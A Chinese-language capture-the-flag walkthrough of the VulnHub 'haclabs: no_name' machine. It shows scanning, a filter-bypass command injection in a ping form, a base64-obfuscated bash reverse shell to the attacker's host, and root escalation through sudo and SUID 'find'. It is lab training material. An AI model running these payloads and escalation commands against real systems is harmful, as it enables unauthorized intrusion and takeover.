vulnhub靶场haclabs: no_name
0x000 靶场描述
This a beginner level machine , getting a shell is a little bit harder, just think out of the box to get the shell.privilege escalation is easy once you get the shell.
This machine has 3 flags. Each flag is present in the Home directory of particular user. Be ready to test your Linux skills.
0x001 靶场下载
https://www.vulnhub.com/entry/haclabs-no_name,429/
0x002 信息收集
探测存活主机
netdiscover -r 192.168.1.0/24
端口扫描
nmap -sS -sV -A -p 1-65535 192.168.1.105
只有一个80端口
访问网站,看页面感觉像命令执行漏洞,尝试利用,发现不管输入什么命令都会返回一个Fake ping executed,遂放弃
目录扫描
和平常一样使用dirsearch进行扫描,扫描到一个/admin目录,访问之后没有找到可以利用的地方;
dirsearch -u http://192.168.1.105:7331 --wordlists=/usr/share/dirbuster/wordlists/directory-list-2.3-medium.txt
重新换了一个目录扫描器,扫描到了superadmin.php
gobuster dir -u http://192.168.1.100 -w /usr/share/wordlists/dirb/big.txt -t 100 -x php
0x003 漏洞利用
命令执行漏洞
尝试命令执行,经过测试,发现 | 可以绕过。
分析superadmin.php文件
查看源代码,发现对以上这些命令和符号进行过滤;但是漏掉了 | ,因此,127.0.0.1|ls
这样即可绕过
<?php
if (isset($_POST['submitt']))
{
$word=array(";","&&","/","bin","&"," &&","ls","nc","dir","pwd");
$pinged=$_POST['pinger'];
$newStr = str_replace($word, "", $pinged);
if(strcmp($pinged, $newStr) == 0)
{
$flag=1;
}
else
{
$flag=0;
}
}
if ($flag==1){
$outer=shell_exec("ping -c 3 $pinged");
echo "<pre>$outer</pre>";
}
?>
使用命令执行反弹shell
shell生成网站:https://www.revshells.com/
/bin/sh -i >& /dev/tcp/192.168.1.108/9999 0>&1
L2Jpbi9zaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjEuMTA4Lzk5OTkgMD4mMQ
127.0.0.1|echo "L2Jpbi9zaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjEuMTA4Lzk5OTkgMD4mMQ==" | base64 -d |bash
kali:nc -lvnp 9999
成功获取到shell
python3 -c 'import pty;pty.spawn("/bin/bash")'
切换为交互模式
0x004 提权
sudo提权
查看当前用户目录下的flag1.txt文件,提示haclabs用户的密码放在一个隐蔽的文件。。
查找yash用户创建的文件
find / -type f -user yash 2</dev/null
发现.passwd文件,查看内容:haclabs1234
切换haclabs用户登陆,查看用户目录下的文件,发现提示:sudo_as_admin_successful
sudo -l
显示当前用户的权限,发现find命令具有root权限并且不需要密码
sudo find admin -exec /bin/bash \; -quit
使用命令提权成功
find命令提权
查找具有suid权限的文件,发现了find
find test -exec /bin/bash -p \; -quit
直接使用find也可以进行提权